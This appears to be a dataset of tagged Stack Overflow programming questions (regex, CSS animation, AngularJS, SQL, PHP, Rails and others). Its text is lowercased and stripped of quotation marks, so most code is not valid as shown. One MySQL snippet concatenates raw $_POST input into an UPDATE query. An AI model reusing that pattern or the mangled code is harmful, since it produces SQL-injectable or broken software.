writing ( and ) in a regex doesn t work  can you help me to write this small regex for this which get text between <code>( </code> &amp; <code> )</code>   <pre class= lang-none prettyprint-override ><code>( sometext )   = &gt; sometext ( some )text )   = &gt; some )text ( some text )   = &gt; some text </code></pre>   i tried <code>( (.*) )</code> but it doesn t work.,c#
opacity animation for background-image  i m currently attempting to get the background image of #innerimage to fade out. here is the code for #innerimage:    <pre><code>&lt;div id= innerimage  style= background-image:url( imgurl.com ););background-repeat:no-repeat;background-position:50% 0%; &gt; </code></pre>   here s the code that i m using:   <pre><code>#outerimage #innerimage {     -webkit-animation: 3s ease 0s normal forwards 1 fadein;     animation: 3s ease 0s normal forwards 1 fadein; }  @keyframes fadein{     0% { opacity:0; }     66% { opacity:0; }     100% { opacity:1; } }  @-webkit-keyframes fadein{     0% { opacity:0; }     66% { opacity:0; }     100% { opacity:1; } } </code></pre>   i m running into an issue where the code is making every other child( ) div within #innerimage fade out as well  but i only want the background-image to fade.     <br><br><br>i have two questions: <br>1) i did read that it was not possible for background-image opacity changes that the above code is performing. is there a work around for this  <br>2) how do i go about making it so that after the image has been faded in  it fades back out in an infinite loop     [edit] <br>   <pre><code>#outerimage #innerimage{     -webkit-animation: 3s ease 0s normal forwards 1 fadein;     animation: 3s ease 0s normal forwards 1 fadein;     animation-iteration-count: infinite; }  @keyframes fadein{     0% { opacity:0; }     66% { opacity:0; }     100% { opacity:1; } }  @-webkit-keyframes fadein{     0% { opacity:0; }     66% { opacity:0; }     100% { opacity:1; } }   #outerimage #innerimage::before {  background: url( imgurl.com ) no-repeat center left;   content:   ;   position: absolute;   /* the following makes the pseudo element stretch to all sides of host element */   top: 0;   right: 0;   bottom: 0;   left: 0;   transition: opacity 1s ease 2s;   z-index: 1; } #outerimage #innerimage {   position: relative;} #outerimage #innerimage * {   position: relative;   z-index: 2; } #outerimage #innerimage </code></pre>,css
refresh element height and size on window refresh with directive  at the moment  the following directive grabs the width and height of an element on page load. how do i get it to refresh it on window resize    <pre><code>angular.module( adsomaapp )   .directive( elementsize   function ($timeout) {     return {       restrict:  a         link: function (scope  element  attrs) {         element.ready(function () {           var height  width;           $timeout(function () {             height = element[0].offsetheight;             width = element[0].offsetwidth;             if (attrs.key) {               scope[attrs.key] = {                 height: height                  width: width               };               return;             }              scope.elementsize = {               height: height                width: width             };           });         });       }     };   }); </code></pre>,angularjs
javascript error handling is not working  i m trying to catch ajax error using error handling try/catch but it s not working. here s my code:   <pre><code>var ajaxrequest=null if (window.activexobject){   try {   ajaxrequest=new activexobject( msxml2.xmlhttp )  }   catch {   try{    ajaxrequest=new activexobject( microsoft.xmlhttp )   } //end inner try   catch {    alert( not working!! )   } //end inner catch  } //end outer catch } else if (window.xmlhttprequest) // if mozilla  safari etc  ajaxrequest=new xmlhttprequest()  ajaxrequest.open( get    inventory.php   true) //do something with request </code></pre>   what did i do wrong,javascript
how can you convert input from a uitextfield into a number   i have a simple app. the user enters two values threw a text field  and the program adds the values together. eventually the app will be much more than what it is right now  but i need to know how to convert input from a uitextfield object into a number.     this is what i have right now:   <pre><code>nsinteger   *intmass = self.accl.integer; </code></pre>   i ve also tried this an it would just crash my app:   <pre><code>intmass = [mass.text integervalue]; </code></pre>   the error i m getting:   <pre><code>property  integer  not found on object type uitextfield. </code></pre>,ios
bug in form. help me please  i found bug in tag form. from this code:   <pre><code>&lt;form&gt; &lt;input type= text &gt; &lt;/form&gt; </code></pre>   i type something in textbox and enter  form is submit. but i rewrite code to this   <pre><code>&lt;form&gt; &lt;input type= text &gt; &lt;input type= text &gt; &lt;/form&gt; </code></pre>   i type something in textbox and enter again  form isn t submit.    i have never met before. what happen  someone can tell me. thank you for help or suggestion.,html
sql query conditional select based on newer entry  i have a query which searches a database of tests for failed tests and returns a certain code if there is a failure for a specific set of tests.  what i need for it to do  is to only return that code if there is not a newer version of that test saved in the database that has passed.  this is part of a set of queries that  given a certain project number  query every subset of that number (there are 5 test subsets)  and then check and give it one of 4 different statuses.  here is an excerpt:   <pre><code>select max( case when project.parent_id in (select parent_id from object where object.id in (select parent_id from object where object.id in (select parent_id from testresults where testresults.resultid =  962 )))  and project.projectname like  %emc%   then  4  else..... </code></pre>   i need to check the same table for newer entries with the same name  that belong to the same project  that have passed their tests instead of failed  ie resultid =  961   and instead let it fall through to the other cases  rather than assign it a  4 .  the dates of the tests are stored in the table.  i ve played with this a while on my own  doing some joins from the table back onto itself  but this parent s parent s parent s hierarchy is making it difficult to say the least.  also  i did not design this database and don t have the ability to alter the schema in any way.    edit: this is the relevant structure of the table  and some example records:   <pre><code>id | parent_id | test type | resultid | testdate ------------------------------------------------- 4  |     1     | esd       |   962    | 01-01-11 5  |     2     | ci        |   961    | 01-02-11 6  |     3     | esd       |   961    | 02-01-11 7  |     8     | ri        |   962    | 02-02-11 </code></pre>   i need a query that will return tests that fail (resultid 962) unless there is another test with the same name  and the same parent_id relationship described in the query above  but that passed the test (resultid 961).  so  if i ran the query on 01-01-11  i would get the row with id of 4  but if i ran it on 02-01-11  it would return no rows  and on 02-02-11 it would return the row with id of 7.  also  there are resultids > 962 for anomalies  etc. and a resultid &lt; 961 for tests that haven t taken place yet.    edit again:  object table structure   <pre><code>id | parent_id | description   | -------------------------------- 50 |     0     | product level | (very top) 51 |    50     | project level | (the project table describes this lvl) 52 |    51     | work request  | 1  |    52     | work order    | 2  |    52     | work order    | 3  |    52     | work order    | 8  |    52     | work order    | </code></pre>   so  referencing the table above  each test in the testresult table is a child of a worker  which is in turn the child of a work request  which is the child of a project  which is the child of a product.  i need to be able to tie every individual test result back to the project level  which is why i am running everything up to the project table  rather than the work request table.,sql
dynamic/ dependent input box  how can i make a input box that appears only when i select a value from a drop down box     thank you  sebastian    edit-1:    thanks guys for the help. but the example from sushil bharwani is best for me  because i also need to display a text with the text box.    but with that example i have a problem. both the text and the text box look like they are in the same cell  so they are messing up my layout for the form. got any ideas     thanks,javascript
"undefined array element with addeventlistener  i am trying to add an event to my tags with class name <code>map</code>. when i click on the tags  a window opens. the problem comes from the displayed value. indeed  it is written <code>undefined</code> while i initialize the table just above ... if i use <code>console.log(maps[i]);</code> the values <code>first second third</code> are well displayed in the console    here is the code :     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>window.onload = function() {
   document.getelementbyid( mapinput ).style.visibility =  hidden ;
   createmaplistener();
 }
 
 function createmaplistener() {
   var maps = new array( first    second    third );
   var element = document.getelementsbyclassname( map );
   var elem;
   for (var i = 0; i &lt; element.length; i++) {
     console.log(maps[i]);
     element[i].addeventlistener( click   function() {
       alert(maps[i]);
     }  false);
   }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form id= menuform  action= test.php  method= get &gt;
   &lt;input type= text  name= map  id= mapinput &gt;
 &lt;/form&gt;
 &lt;div id= menu &gt;
   &lt;h1 id= title &gt;tower defense&lt;/h1&gt;
   &lt;div id= content &gt;
     &lt;div class= choice &gt;
       &lt;h2 class= choicetitle &gt;choose a map&lt;/h2&gt;
       &lt;div id= first  class= map &gt;xx&lt;/div&gt;
       &lt;div id= second  class= map &gt;xx&lt;/div&gt;
       &lt;div id= third  class= map &gt;xx&lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
how to derive path from object in rails helper function   i have this helper function in rails and i wonder if the <code>user_path</code> can somehow be derived from <code>@user</code> which is passed to the function as a parameter. right now  <code>user_path</code> is hardcoded in my function which is not pretty:   <pre><code>def link_to_next(entry)   link_to  &gt;&gt;   user_path(entry.next) end </code></pre>   this is how i use the helper function:   <pre><code>&lt;%= link_to_next(@user) %&gt; </code></pre>   thanks for any help!,ruby-on-rails
java - memory implementation <pre><code>class memory{     private int[] memoryarray;     private int size;     public memory(int n)     {size = n;         memoryarray = new int[n];         for(int i=0;i&lt;n;i++)             memoryarray[i] = -1;     }     public void write (int loc int val)     {if (loc &gt;=0 &amp;&amp; loc &lt; size)             memoryarray[loc] = val;         else             system.out.println( index out of range );     }     public int read (int loc)     {return memoryarray[loc];     } </code></pre>   }    here is my program to test it...   <pre><code>class test{     public static void main(string[] args)     {         memory mymem = new memory(100);         mymem.write(98   4);         int x;         x = mymem.read(98);         system.out.println(mymem);         mymem.dump();         for(int i=0;i&lt;size;i++)             if(i%10==0)                 system.out.println(memoryarray[i]);                                    else                                        system.out.println(memoryarray[i]);                                    }     } </code></pre>   so when i type in java memory to run it i get an error saying  exception in thread  main  java.lang.nosuchmethoderror:main and when i run java test it outputs memory@9931f5....how can i fix this,java
sql syntax error number 1064  query:   <pre><code>$sql =      update          pick_up_address     set          user_id                 =    . $movers_id .             member_group_id         =    . $member_group_id .             nick_name               =    . $_post[  nick_name  ][$i] .             contact_person_name     =    . $_post[  contact_person_name  ][$i] .             contact_person_number   =    . $_post[  contact_person_number  ][$i] .             contact_address         =    . $_post[  contact_address  ][$i] .        where         pick_up_address_id      =    . $pick_adddress_id[$i] .             lat                     =    . $lat1 .             lng                     =    . $lng1 .    ; </code></pre>   error message:   <blockquote>    you have an error in your sql syntax; check the manual that   corresponds to your mysql server version for the right syntax to use   near lat= value   lng= value   </blockquote>,mysql
background loading uiimagepickercontroller cause uinavigationviewcontroller to not perform animation  as loading <code>uiimagepickercontroller</code> the first time is very slow  i want to preload a shared <code>uiimagepickercontroller</code> instance when the app is loaded  i.e. call <code>[[uiimagepickercontroller alloc] init]</code> in the <code>app: didfinishlaunchingwithoptions:</code> method  in background.     the following is my code:   <pre><code>+ (void)init {     [outility performselectorinbackground:@selector(initsharedimagepicker) withobject:nil]; }  + (void)initsharedimagepicker {     ssharedimagepicker = [[oimagepickercontroller alloc] init]; } </code></pre>   however  strange thing happens. if i do this  all the transition animation of my uinavigtioncontroller is gone  pushing and poping view controllers are just presenting with no animation.    has anyone encountered such situation,ios
how to get the first value to be default in select option  how to get the first value to be default value. in the select option values i have taken a loop for the multiple values. now i want to select the first values by default but in a way that the last value is always selected by default. how do i do this,html
try to css a jquery ui-tabs  i have the following html codes   <pre><code>&lt;html lang= en &gt; &lt;head&gt;   &lt;meta charset= utf-8  /&gt;   &lt;title&gt;jquery ui tabs - default functionality&lt;/title&gt;   &lt;link rel= stylesheet  href= http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css  /&gt;   &lt;script src= http://code.jquery.com/jquery-1.9.1.js &gt;&lt;/script&gt;   &lt;script src= http://code.jquery.com/ui/1.10.3/jquery-ui.js &gt;&lt;/script&gt;   &lt;link rel= stylesheet  href= /css/tshirt.css  /&gt;   &lt;script&gt;   $(function() {     $(  #tabs  ).tabs();   });   &lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;div id= tabs &gt;   &lt;ul&gt;     &lt;li&gt;&lt;a href= #tabs-1 &gt;shirt builder&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tabs-2 &gt;add qr message&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tabs-3 &gt;view product&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tabs-4 &gt;checkout&lt;/a&gt;&lt;/li&gt;    &lt;/ul&gt;   &lt;div id= tabs-1 &gt;      &lt;img src= img/tabs.png  width= 300  height= 200  align= left &gt;     &lt;p&gt;p1.&lt;/p&gt;   &lt;/div&gt;   &lt;div id= tabs-2 &gt;     &lt;p&gt;p2.&lt;/p&gt;   &lt;/div&gt;   &lt;div id= tabs-3 &gt;      &lt;p&gt;p3.&lt;/p&gt;   &lt;/div&gt;     &lt;div id= tabs-4 &gt;      &lt;p&gt;page 4.&lt;/p&gt;   &lt;/div&gt; &lt;/div&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   when i inspect the element   <pre><code>div#tabs  class= ui-tabs ui-widget ui-widget-content ui-corner-all 1106px x 282px </code></pre>   so  in my css style sheet  i have   <pre><code>#tabs { width:400px;  } </code></pre>   but i cannot change the width of ui-tabs  it still remains at 1106px.,jquery
get all users with it s role asp.net core   i m just getting started with porting a application from asp.net mvc 5 to asp.net core 2.0 (with ef core and identity). all has been going smooth  but i ve ran into a problem that i can t seem to find an answer to.    what i want to do is simply to fetch all users in a database  based on the role they are assigned (admin  user  etc.).,asp.net
how i will compare string value with a nsmutablearray <pre><code>if ([parray objectatindex:2]==@ root ) {     nslog(@ yes ); } else {     nslog(@ no ); } </code></pre>   i am using this code but it s not working,objective-c
python shorthand method for a if-else based on the function s return  i have read examples of python shorthand-if in the stackoverflow but still can not figure out how to solve my own simple problem.  i want to <code>print( this is a prime number )</code> else <code>print(this is not a prime number)</code> based on the [boolean] return value of the following function:   <pre><code>is_prime(2)  </code></pre>   how should i write a short hand method for,python
why doesn t #.# work for very small numbers   in my program  i ran into a problem writing a small number to a context.response that is then being read by a jquery ajax response.   <pre><code>value = -0.00000015928321772662457; context.response.write(value.tostring( #.# )); </code></pre>   returns <code>[object xmldocument]</code>    however    <pre><code>context.response.write(value.tostring( n )); </code></pre>   returns 0.00 as expected.    using  n  is perfectly fine for my program  but why did  #.#  return with an xmldocument,c#
user wait for some time  i need to fix a problem and need some input. when i press <code>button1</code> my gui starts serial comm. i send some commands and receive some data. once i press <code>button1</code> i am in the other thread (other than gui thread) for 3-4 sec until data is fully transferred. what i want is a dialog box  pop up or some thing like that (showing a busy message) to appear in front of my gui when i press the <code>button1</code> and this pop closes automatically in the other thread in which serial communication is taking place when the whole data is transferred.    some people suggested <code>backgroundworker</code> but i was not clear.    i also got a suggestion <em>  use a winform  set its formborderstyle to fixeddialog. make it small like a messagebox and drop a progressbar control on it. you can use the forms showdialog at the beginning of your thread processing  and close at the end. the progress bar style can be set to continous for simplicity. </em>    <strong>any good explanation or an alternative easy way to do it considering my scenario</strong>   i want to keep things simple,c#
<select> within <a href> that i don t want to execute the link  i have a table wrapped in an a href so if they click anywhere in the table  a link will get executed.    my problem is that the table also has a select dropdown list and i don t want the link to execute if they click on the select element.    i ve tried ending the a href before the select and starting again after the select but that doesn t work.   <pre><code>&lt;a href= #  id= modifyprefs  style= text-decoration:none;color:black &gt; &lt;table class= formtable &gt;   &lt;tr&gt;     &lt;td&gt;       &lt;select&gt;         &lt;option&gt;&lt;/option&gt;           &lt;c:foreach items= ${allprefs.siblings}  var= s &gt;             &lt;option&gt;${s.lastname}&lt;/option&gt;           &lt;/c:foreach&gt;       &lt;/select&gt;     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
get controls of mdichild  i create a new mdichild having a richttextbox:   <pre><code>form myform = new form(); myform.mdiparent = this; richtextbox rtb = new richtextbox(); myform.controls.add(rtb); myform.show(); </code></pre>   as there may be opened some other mdichilds having no rtb in it  i want check if the activechild has a richttextbox in it. i m not sure how to do this... something like this in a try-catch ( ):   <pre><code>foreach (control control in this.activemdichild.controls) {     // check if the control is a checkbox     // make the richttextbox as an object so i can do strange things with it ^^ } </code></pre>   could you please help me out     thx &amp; cheers alex,c#
query sql how to check all records from a three table join share the same value  since i m a poor sql developer  i need support to write a sql query for the following scenario (just a simplified example of my situation):<br> i ve got 3 tables  say employe table department table and companybranch table. the dept column   on the employe table is a fk on the department table; the branch column on the department table is a fk on the companybranch table. finally more employee are  marked  with the same value .  there s a way to select all employes with the same  mark  and  in the same query  check that they work in the same company branch          thank you in advance    stefano,sql
showing/hiding divs with javascript on click  i m trying to show/hide tabs on click using just javascript but i m getting errors ( uncaught typeerror: cannot set property  classname  of undefined tabs.(anonymous function).onclick ). can someone give me an idea of what the issue might be    <pre><code>&lt;style&gt;     a { text-decoration: none; }     li { list-style: none; }     li.selected { font-weight: bold; }      .panels div { display: none; }     .panels .selected { display: block; } &lt;/style&gt;  &lt;div id= tabs  class= tabs &gt;     &lt;ul&gt;         &lt;li class= selected &gt;&lt;a href= javascript:; &gt;one&lt;/a&gt;&lt;/li&gt;         &lt;li class=  &gt;&lt;a href= javascript:; &gt;two&lt;/a&gt;&lt;/li&gt;         &lt;li class=  &gt;&lt;a href= javascript:; &gt;three&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;div id= panels  class= panels &gt;     &lt;div class= selected &gt;this is panel one.&lt;/div&gt;     &lt;div class=  &gt;this is panel two.&lt;/div&gt;     &lt;div class=  &gt;this is panel three.&lt;/div&gt; &lt;/div&gt;  &lt;script&gt;     var tabs = document.getelementbyid( tabs ).getelementsbytagname( li );     var panels = document.getelementbyid( panels ).getelementsbytagname( div );     for (var i = 0; i &lt; tabs.length; i++) {         new function(i) {             tabs[i].onclick = function() {                 tabs[i].classname = panels[i].classname =  selected ;                 for (var i = 0; i &lt; panels.length; i++) {                 tabs[i].classname = panels[i].classname =   ;                 }             }         }(i);     } &lt;/script&gt; </code></pre>,javascript
difference between post data escaping and html escaping   what is the difference between data escaped for post vars and data escaped for text in html paras     i know that html does not support certain chars in strings such as &amp; which must become <code>&amp;amp;</code> and so on.     does post data (for forms) require  url escaping   as in   hello world  becomes  hello%20world,html
angularjs orderby not sorting data  i am trying to sort data displayed in one of my angularjs pages but orderby does not seem to work  as nothing happens when i select to sort by either the name or age field except for the first 2 records  then the remaining table doesn t get affected by the sorting selection. below the code i am using.    template.html   <pre><code> &lt;div&gt;                 order by:                 &lt;select ng-model= sortorder &gt;                     &lt;option selected value= name &gt;name&lt;/option&gt;                     &lt;option selected value= age &gt;age&lt;/option&gt;                 &lt;/select&gt;                 &lt;br&gt;                 &lt;table style= width:300px &gt;                     &lt;tr&gt;                       &lt;td&gt;name&lt;/td&gt;                       &lt;td&gt;age&lt;/td&gt;                           &lt;/tr&gt;                     &lt;tr ng-repeat= contact in contacts | orderby:sortorder &gt;                       &lt;td&gt;{{contact.name}}&lt;/td&gt;                            &lt;td&gt;{{contact.age}}&lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;                     &lt;/div&gt;   </code></pre>   controller:   <pre><code>$scope.sortorder =  name ; </code></pre>   can someone please help me by telling me what i am doing wrong here and how to fix it  thanks,angularjs
bubble sort tiny error  i m trying to make my program sort this array of numbers from least to greatest but the output is coming out otherwise. in other words  i m trying to not use a[4] because that s what this algorithm is doing but i can t figure out how.  thanks for reading.    output: 9 12 3 14    <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int a[4] = {12  9  14  3};     int temp;      for(int i = 0; i &lt; 4; i++) {         if(a[i] &gt; a[i + 1]) {             temp = a[i];             a[i] = a[i + 1];             a[i + 1] = temp;         }         cout &lt;&lt; a[i] &lt;&lt;    ;     }     return 0; } </code></pre>,c++
p element forces down other elements it s inside  really not sure why this is happening  but it s very annoying as i can t seem to find the cause of it.    if i take the below html and add a p element inside the class= comments  div then it ll push down the entire class= ratingcomments  div that it s inside. even if i turn off margins and padding it ll still do it  why is this     it ll probably make more sense to look at this fiddle: <a href= https://jsfiddle.net/sz4fodqj/  rel= nofollow noreferrer >https://jsfiddle.net/sz4fodqj/</a>     i want the two divs in the center to be inline  but the p tag prevents this.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;    &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;nrthrn&lt;/title&gt;     &lt;link rel= icon  href= ./res/icon.png &gt;     &lt;link rel= stylesheet  type= text/css  href= 960styling.css  id= stylesheet &gt;    &lt;/head&gt;    &lt;div id= wrapper &gt; &lt;body&gt;      &lt;div class= headerbar &gt;          &lt;img id= logo  src= ./res/logo.png /&gt;         &lt;ul class= menu &gt;             &lt;li&gt;&lt;a href= index.html  accesskey= h &gt;home&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= events.html &gt;events&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= pastevents.html  accesskey= o &gt;past events&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= about.html  accesskey= c &gt;about us&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= form.html  accesskey= a &gt;contact us&lt;/a&gt;&lt;/li&gt;          &lt;/ul&gt;          &lt;a id= loginlink  href= login.html &gt;login&lt;/a&gt;         &lt;/div&gt; &lt;!-- end headerbar --&gt;       &lt;div class= promoarea &gt;         &lt;img id= biglogo  src= ./res/biglogo.png /&gt;     &lt;/div&gt;           &lt;div class= eventssearchbar &gt;          &lt;p&gt;order by: &lt;/p&gt;         &lt;select required= required  name= field4  class= selectfield &gt;                 &lt;option value= advertise &gt;closest date&lt;/option&gt;                 &lt;option value= partnership &gt;furthest date&lt;/option&gt;                 &lt;option value= general question &gt;rating: high to low&lt;/option&gt;                 &lt;option value= general question &gt;rating: low to high&lt;/option&gt;         &lt;/select&gt;      &lt;/div&gt;       &lt;div class= pasteventscontentarea &gt;          &lt;div class= pasteventrowcontainer &gt;             &lt;div class= pasteventcontainer &gt;                  &lt;div class= datewrapper &gt;                     &lt;span class= day &gt;&lt;p id= daytext &gt;&lt;b&gt;23rd&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;                     &lt;span class= month &gt;&lt;p id= monthtext &gt;&lt;b&gt;may&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;                  &lt;/div&gt;                  &lt;div class= textwrapper &gt;                      &lt;div class= title &gt;&lt;p id= eventtitle &gt;odesza&lt;/p&gt;&lt;/div&gt;                     &lt;div class= location &gt;&lt;p&gt;location&lt;/p&gt;&lt;/div&gt;                 &lt;/div&gt;                  &lt;div class= buttonwrapper &gt;                     &lt;button id= moreinfobutton &gt;info&lt;/button&gt;                     &lt;button id= moreinfobutton &gt;tickets&lt;/button&gt;                 &lt;/div&gt;              &lt;/div&gt;              &lt;div class= ratingcomment &gt;                  &lt;div class= rating &gt;                  &lt;/div&gt;                 &lt;div class= comments &gt;&lt;!--p class here makes weird things happen--&gt;&lt;/div&gt;                             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;       &lt;div class= footerbar &gt;          &lt;div class= footerleft &gt;             &lt;ul&gt;                 &lt;li&gt;&lt;a href= index.html  accesskey= h &gt;home&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= events.html &gt;events&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= pastevents.html  accesskey= o &gt;past events&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= about.html  accesskey= c &gt;about us&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= form.html  accesskey= a &gt;contact us&lt;/a&gt;&lt;/li&gt;                &lt;/ul&gt;         &lt;/div&gt;          &lt;div class= footerright &gt;             &lt;img src= ./res/facebook.png /&gt;             &lt;img src= ./res/twitter.png /&gt;             &lt;img src= ./res/instagram.png /&gt;         &lt;/div&gt;       &lt;/div&gt;      &lt;p id= copyright &gt;copyright 2017&lt;/p&gt;    &lt;/body&gt; &lt;/div&gt;     &lt;/html&gt; </code></pre>   css   <pre><code>.pasteventscontentarea{     width: 95%;     margin: 50px auto 50px auto; /*top right bottom left */     padding-top: 20px; /*  background-color: #ff6464;*/     text-align: center; }  .pasteventcontainer{     /*width: 45%;     height: 30%;*/ /*    width: 55%;*/     height: 120px; /*     background-color: rgba(0  0  0  0.2);*/     background-color: #ffffff;     margin-left: 5%;     margin-right: 0%; /*    margin-bottom: 10px;*/ /*    margin-right: 10px;*/     display: inline-block;     min-width: 500px;     max-width: 500px;     color: black;     border-style: solid;     border-color: #363636;     border-width: 1px;     box-shadow: 0 0 20px 0 rgba(0  0  0  0.2)  0 5px 5px 0 rgba(0  0  0  0.24);   }  .pasteventcontainer .datewrapper{     width: 20%;     /*background-color: rgba(0  0  0  0.4);*/     height: 100%;     float: left;     font-family: opensans;     color: black;  }  .pasteventcontainer .textwrapper{     width: 45%; /*    background-color: rgba(0  0  0  0.6);*/     height: 100%;     float: left;     color: black;     font-family: opensans;     margin-left: 10px;  }  .pasteventcontainer .buttonwrapper{     width: 30%; /*    background-color: rgba(0  0  0  0.8);*/     height: 100%;     float: left;  }  .pasteventcontainer .datewrapper .day{     display: inline-block;     width: 100%;     height: 60%; /*    background-color: red;*/     font-size: 25px;     font-family: opensans;   }  .pasteventcontainer .datewrapper .month{     display: inline-block;     width: 100%;     height: 40%; /*    background-color: indianred;*/     font-size: 24px; }  .pasteventcontainer .datewrapper #daytext{     margin-top: 30%; }  .pasteventcontainer .datewrapper #monthtext{     margin-top: -10%; }  .pasteventcontainer .textwrapper .title{ /*    background-color: aqua;*/     height: 50%;     margin: 0;     margin-top: 30px;     font-size: 20px;     overflow: hidden; }  .pasteventcontainer .textwrapper .location{ /*    background-color: blue;*/     margin-top: -20px;;     font-size: 14px;     max-height: 30px;     min-height: 30px;     overflow: hidden; }  .pasteventcontainer .textwrapper p{     margin: 0;     text-align: left; }   .pasteventcontainer .buttonwrapper #moreinfobutton{     display: block;     margin-left: auto;     margin-right: auto;     font-family: porter;     text-transform: uppercase;     background-color: #242424;     height: 30%;     color: white;     outline: 0;     width: 75%;     border: 0;     padding: 10px;     font-size: 15px;     /*box-shadow: 0 0 20px 0 rgba(0  0  0  0.2)  0 5px 5px 0 rgba(0  0  0  0.24);*/     box-shadow: 5px 5px 0 0 rgba(0  0  0  0.2);     cursor: pointer;     margin-top: 10%; }  .pasteventrowcontainer .ratingcomment{     display: inline-block;     height: 120px;     background-color: white;     width: 30%;     margin: 0;     margin-left: 50px;     padding: 0;     border-style: solid;     border-color: #363636;     border-width: 1px;     max-width: 300px; }  .pasteventrowcontainer .ratingcomment .rating{ /*    background-color: red;*/     height: 50%;     display: block;     margin: 0; }  .pasteventrowcontainer .ratingcomment .comments{ /*    background-color: aqua;*/     height: 50%;     display: block;     text-align: center;     color: black;     font-family: opensans;     font-size: 20px;     position: relative; }  .pasteventrowcontainer .ratingcomment a{     display: block;     margin: 0;     padding: 0;     position: absolute;     left: 60px;     top: 15px;     text-decoration: none; } </code></pre>,html
how do i replicate excel s  power trendline  in python   how can i recreate the  excel power trendline  in python and acquire the coefficients     in excel  this data...   <pre><code>x = [5.5  6.0  6.5  7  9] y = [64.0575  69.656  75.781  82.7023  111.156866] </code></pre>   ...creates a trendline that produces the regression formula:   <pre><code>y = 9.2347 * (x ^ 1.1294) </code></pre>   i would like to do this in python so i can utilize the coefficients from the formula later on in my software.    thanks!,python
what determines the format of / information in hostingenvironment.applicationid   what determines the format of / information in hostingenvironment.applicationid     it is usually in the format /lm/w3svc/1/root/blah    so what is lm  1  etc.    please don t just post links unless they explicitly state what the different parts are.    cheers     -- lee,asp.net
w3c markup validation service  i use the w3c markup validation service to check my web page and it works great. but is there a way to check the entire website  the site i am working on has over 50 pages. any idea     thanks.,html
get java script variable in html  i want to get variable value in hidden html field. my code like:   <pre><code>&lt;script lang=”text/javascript”&gt;    var counter;    loop{      some code . . . .       counter++;    }//end loop &lt;/script&gt;  &lt;html&gt;    &lt;body&gt;       // some code        &lt;input type “hidden” name=”total” id=”total” value=”here i want to get counter”&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
how to replace exec () through system command in php   my coding is so far:    how  to replace  <code>exec()</code>  through system command in php    <pre><code>if($str!= success ) {     $cmd =  rm -rf /portal/data/config/certificate/tmp/ ;     $error_text= command :  .$cmd;     addlog( sslconfig.php  $error_text err_debug_high);     $output = exec($cmd $array1 $error_code);     $error_text= error code :  .$error_code;     addlog( sslconfig.php  $error_text err_debug_high);     seterror( 0:|:  :|: could not apply certificate. );     $error_text= could not apply certificate ;     addlog( sslconfig.php  $error_text err_info);     header( location: ssl.php );     exit; }  if($certname==$cert_auth) {     //copy the applied certificate to fireballbundle.crt     //$output = copysslfb( /portal/data/config/certificate/ .$newfile. .crt );     $error_text= selfsigned certicate ;     addlog( sslconfig.php  $error_text err_debug_high);      $output= success ; }  else  {     $error_text= not selfsigned certicate ;     addlog( sslconfig.php  $error_text err_debug_high);     $output= success ; }  if($output!= success ) {     $cmd =  rm -rf /portal/data/config/certificate/tmp/ ;     $error_text= command :  .$cmd;     addlog( sslconfig.php  $error_text err_debug_high);     $output = exec($cmd $array1 $error_code);     $error_text= error code :  .$error_code;     addlog( sslconfig.php  $error_text err_debug_high);     $error_text= could not add certificate to fireballbundle.crt :  .$output;     addlog( sslconfig.php  $error_text err_error);     seterror( 0:|: :|: error in applying certificate. );     header( location: ssl.php );     exit; } </code></pre>   now i want to replace exec command with system command      i am using three times <code>exec()</code> here as shown as above code now i want to replace with <code>system ()</code> command in php   <pre><code>exec( hostname  $retval); $output = exec($cmd $array1 $error_code); exec($cmd $array1 $error_code); </code></pre>,php
superclass mismatch for class usercontroller  i have created api in rails 5.    i am getting error <strong>superclass mismatch for class userscontroller</strong>.    my controller:   <pre><code>module api   module v1     class userscontroller &lt; applicationcontroller       def index         users = user.order( created_at desc )         render json: {status: success   message: load users   data:users}  status: :ok        end        def create         user = user.new(user_params)        end        def user_params         params.permit(:firstname  :lastname  :email  :age  :id)       end     end   end end </code></pre>   my routes:   <pre><code>rails.application.routes.draw do   namespace :api do     namespace :v1 do       resources :users     end   end end </code></pre>   here is my folder structure:    <a href= https://i.stack.imgur.com/uazuh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uazuh.png  alt= enter image description here ></a>    i got below error in console:    <a href= https://i.stack.imgur.com/efwnt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/efwnt.png  alt= enter image description here ></a>    actually  i have just started in ruby on rails. i tried to figure out problem but couldn t find it.,ruby-on-rails
